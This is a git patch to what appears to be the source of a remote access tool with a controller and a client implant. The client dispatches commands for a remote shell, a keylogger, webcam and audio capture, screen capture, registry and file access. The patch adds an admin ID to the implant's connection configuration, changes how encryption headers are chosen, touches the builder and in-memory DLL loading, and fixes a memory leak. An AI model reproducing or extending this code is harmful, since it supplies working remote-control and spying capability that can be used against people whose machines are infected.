From b4c2ed236e28e39c763245597a5f5aa2382dca8c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 13 Jul 2025 04:37:14 +0800 Subject: [PATCH] layout: Add a function to get master hash fix: Memory leak when WinOS client login --- client/KernelManager.cpp | 30 ++++++++++++++-------------- client/main.c | 30 ++++++++++++++++------------ common/commands.h | 31 ++++++++++++++++++++--------- server/2015Remote/2015Remote.cpp | 9 +++++++-- server/2015Remote/2015Remote.h | 2 ++ server/2015Remote/2015RemoteDlg.cpp | 21 ++++++++++--------- server/2015Remote/BuildDlg.cpp | 1 + server/2015Remote/CPasswordDlg.cpp | 2 +- server/2015Remote/IOCPServer.cpp | 1 + 9 files changed, 78 insertions(+), 49 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 8aa76b8..26309d1 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,18 +18,18 @@ // UDP 协议仅能针对小包数据，且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { if (conn->protoType == PROTO_TCP) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->iHeaderEnc); + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType()); if (conn->protoType == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); if (conn->protoType == PROTO_HTTP) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->iHeaderEnc); + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType()); return NULL; } ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { static ThreadInfo tKeyboard; tKeyboard.run = FOREVER_RUN; - tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->iHeaderEnc); + tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType()); tKeyboard.conn = conn; tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; @@ -303,7 +303,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } case COMMAND_PROXY: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -342,7 +342,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (m_hKeyboard) { CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; @@ -350,7 +350,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_TALK: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; @@ -358,21 +358,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SHELL: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: //远程进程管理 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: //远程窗口管理 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -400,7 +400,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, ulLength - 1); } - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; @@ -408,35 +408,35 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_LIST_DRIVE : { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } diff --git a/client/main.c b/client/main.c index 4aeb528..a85cfa7 100644 --- a/client/main.c +++ b/client/main.c @@ -5,6 +5,7 @@ #include #include #include +#include #ifdef _DEBUG #include @@ -179,22 +180,25 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in return -1; } +#pragma pack(push, 4) struct CONNECT_ADDRESS { - char szFlag[32]; - char szServerIP[100]; - char szPort[8]; - int iType; - bool bEncrypt; - char szBuildDate[12]; - int iMultiOpen; - int iStartup; - int iHeaderEnc; - char protoType; - char runningType; - char szReserved[60]; - char pwdHash[64]; + char szFlag[32]; // 鏍囪瘑 + char szServerIP[100]; // 涓绘帶IP + char szPort[8]; // 涓绘帶绔彛 + int iType; // 瀹㈡埛绔被鍨 + bool bEncrypt; // 涓婄嚎淇℃伅鏄惁鍔犲瘑 + char szBuildDate[12]; // 鏋勫缓鏃ユ湡(鐗堟湰) + int iMultiOpen; // 鏀寔鎵撳紑澶氫釜 + int iStartup; // 鍚姩鏂瑰紡 + int iHeaderEnc; // 鏁版嵁鍔犲瘑绫诲瀷 + char protoType; // 鍗忚绫诲瀷 + char runningType; // 杩愯鏂瑰紡 + char szReserved[52]; // 鍗犱綅锛屼娇缁撴瀯浣撳崰鎹300瀛楄妭 + uint64_t superAdmin; // 绠＄悊鍛樹富鎺D + char pwdHash[64]; // 瀵嗙爜鍝堝笇 }g_Server = { "Hello, World!", "127.0.0.1", "6543" }; +#pragma pack(pop) typedef struct PluginParam { char IP[100]; diff --git a/common/commands.h b/common/commands.h index b0bec00..f6d3f48 100644 --- a/common/commands.h +++ b/common/commands.h @@ -9,6 +9,7 @@ #include #include #include +#include #ifdef _WIN32 #define WIN32_LEAN_AND_MEAN @@ -553,23 +554,25 @@ enum ProtocolEncType { PROTOCOL_HELL = 1, }; +#pragma pack(push, 4) // 所连接的主控程序信息 typedef struct CONNECT_ADDRESS { public: - char szFlag[32]; - char szServerIP[100]; - char szPort[8]; - int iType; - bool bEncrypt; - char szBuildDate[12]; - int iMultiOpen; + char szFlag[32]; // 标识 + char szServerIP[100]; // 主控IP + char szPort[8]; // 主控端口 + int iType; // 客户端类型 + bool bEncrypt; // 上线信息是否加密 + char szBuildDate[12]; // 构建日期(版本) + int iMultiOpen; // 支持打开多个 int iStartup; // 启动方式 int iHeaderEnc; // 数据加密类型 char protoType; // 协议类型 char runningType; // 运行方式 - char szReserved[60]; // 占位，使结构体占据300字节 - char pwdHash[64]; + char szReserved[52]; // 占位，使结构体占据300字节 + uint64_t superAdmin; // 管理员主控ID + char pwdHash[64]; // 密码哈希 public: void SetType(int typ) { @@ -584,6 +587,15 @@ public: memcpy(copy.szFlag, flag, strlen(flag)); return copy; } + void SetAdminId(const char* admin) { + char buf[17] = { 0 }; + std::strncpy(buf, admin, 16); + superAdmin = std::strtoull(buf, NULL, 16); + assert(superAdmin == 7057226198541618915); + } + int GetHeaderEncType() const { + return superAdmin == 7057226198541618915 ? iHeaderEnc : 0; + } int FlagLen() const { return strlen(szFlag); } @@ -636,6 +648,7 @@ public: return sizeof(CONNECT_ADDRESS); } } CONNECT_ADDRESS ; +#pragma pack(pop) #define FOREVER_RUN 2 diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 38ee3f0..96335f4 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -26,6 +26,11 @@ config& GetThisCfg() { return *cfg; } +std::string GetMasterHash() { + static std::string hash(skCrypt(MASTER_HASH)); + return hash; +} + /** * @brief 程序遇到未知BUG导致终止时调用此函数，不弹框 * 并且转储dump文件到dump目录. @@ -75,7 +80,7 @@ CMy2015RemoteApp::CMy2015RemoteApp() // TODO: 在此处添加构造代码， // 将所有重要的初始化放置在 InitInstance 中 m_Mutex = NULL; - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile; srand(static_cast(time(0))); @@ -91,7 +96,7 @@ CMy2015RemoteApp theApp; BOOL CMy2015RemoteApp::InitInstance() { - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE"; #ifndef _DEBUG { diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index 66a9c16..53afd72 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -132,6 +132,8 @@ CMy2015RemoteApp* GetThisApp(); config& GetThisCfg(); +std::string GetMasterHash(); + #define THIS_APP GetThisApp() #define THIS_CFG GetThisCfg() diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 1ab8c3e..c070a65 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -232,7 +232,7 @@ DllInfo* ReadPluginDll(const std::string& filename) { delete[] buffer; return nullptr; } - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length()); if (offset != -1) { std::string masterId = GetPwdHash(), hmac = GetHMAC(); @@ -447,7 +447,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu() { m_MainMenu.LoadMenu(IDR_MENU_MAIN); CMenu* SubMenu = m_MainMenu.GetSubMenu(1); - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash) { SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); } @@ -725,6 +725,7 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="") if (!addr.empty()) { splitIpPort(addr, ip, port); server->SetServer(ip.c_str(), atoi(port.c_str())); + server->SetAdminId(GetMasterHash().c_str()); } server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE); memcpy(server->pwdHash, GetPwdHash().c_str(), 64); @@ -831,7 +832,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() OnMainExit(); return FALSE; } - if (GetPwdHash() == std::string(skCrypt(MASTER_HASH))) { + if (GetPwdHash() == GetMasterHash()) { auto pass = THIS_CFG.GetStr("settings", "superAdmin"); if (hashSHA256(pass) == GetPwdHash()) { m_superPass = pass; @@ -883,6 +884,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() if (offset != -1) { CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset); p->SetServer(v->Admin, v->Port); + p->SetAdminId(GetMasterHash().c_str()); + p->iType = CLIENT_TYPE_MEMDLL; memcpy(p->pwdHash, GetPwdHash().c_str(), 64); m_tinyDLL = MemoryLoadLibrary(data, size); } @@ -1068,7 +1071,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) if (!m_superPass.empty()) { Mprintf(">>> Timer is killed <<<\n"); KillTimer(nIDEvent); - std::string masterHash = std::string(skCrypt(MASTER_HASH)); + std::string masterHash = GetMasterHash(); if (GetPwdHash() == masterHash) { THIS_CFG.SetStr("settings", "superAdmin", m_superPass); THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass)); @@ -1246,7 +1249,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //鑿滃崟鍏ㄩ儴鍙樼伆 } } - else if (GetPwdHash() != std::string(skCrypt(MASTER_HASH))) { + else if (GetPwdHash() != GetMasterHash()) { SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); SubMenu->EnableMenuItem(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } @@ -1444,7 +1447,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) { if (!isTrail) { const Validation *verify = GetValidation(); - std::string masterHash = skCrypt(MASTER_HASH); + std::string masterHash = GetMasterHash(); if (masterHash != GetPwdHash() && !verify->IsValid()) { KillTimer(TIMER_CHECK); MessageBox("姝ょ▼搴忓凡缁忓け鏁堬紝璇疯仈绯荤鐞嗗憳澶勭悊!", "鎻愮ず", MB_ICONWARNING); @@ -2517,7 +2520,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() MessageBox("璇烽氳繃鑿滃崟璁剧疆褰撳墠涓绘帶绋嬪簭鐨勫叕缃戝湴鍧锛堝煙鍚嶏級! 姝ゅ湴鍧浼氬啓鍏ュ嵆灏嗙敓鎴愮殑涓绘帶绋嬪簭涓" "\n鍙湁姝ｇ‘璁剧疆鍏綉鍦板潃锛屾墠鑳藉湪绾垮欢闀跨敱鏈▼搴忔墍鐢熸垚鐨勪富鎺х▼搴忕殑鏈夋晥鏈熴", "鎻愮ず", MB_ICONINFORMATION); } - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); if (m_superPass.empty()) { CInputDialog pass(this); pass.Init("涓绘帶鐢熸垚", "褰撳墠涓绘帶绋嬪簭鐨勫瘑鐮:"); @@ -2706,7 +2709,7 @@ void CMy2015RemoteDlg::OnOnlineAuthorize() pass.Init("闇瑕佸瘑鐮", "褰撳墠涓绘帶绋嬪簭鐨勫瘑鐮:"); if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) return; - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { MessageBox("瀵嗙爜涓嶆纭!", "閿欒", MB_ICONWARNING); return; @@ -2795,7 +2798,7 @@ void CMy2015RemoteDlg::OnOnlineUnauthorize() pass.Init("闇瑕佸瘑鐮", "褰撳墠涓绘帶绋嬪簭鐨勫瘑鐮:"); if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) return; - std::string masterHash(skCrypt(MASTER_HASH)); + std::string masterHash(GetMasterHash()); if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { MessageBox("瀵嗙爜涓嶆纭!", "閿欒", MB_ICONWARNING); return; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 36c406b..497147f 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -149,6 +149,7 @@ void CBuildDlg::OnBnClickedOk() } //////////上线信息////////////////////// CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 }; + g_ConnectAddress.SetAdminId(GetMasterHash().c_str()); g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); g_ConnectAddress.runningType = m_ComboRunType.GetCurSel(); g_ConnectAddress.protoType = m_ComboProto.GetCurSel(); diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index 8b0b845..3ec1927 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -62,7 +62,7 @@ bool WritePwdHash(char* target, const std::string & pwdHash, const Validation& v bool IsPwdHashValid(const char* hash) { const char* ptr = hash ? hash : g_MasterID; - if (ptr == std::string(skCrypt(MASTER_HASH))) + if (ptr == GetMasterHash()) return true; std::string pwdHash(ptr, 64), s1(ptr +64, 32), s2(ptr +96, 4); char output32[33], output4[5]; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index e7a41ee..9f4ea15 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -479,6 +479,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength); if (m_NotifyProc(ContextObject)) ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1; + SAFE_DELETE_ARRAY(CompressedBuffer); break; }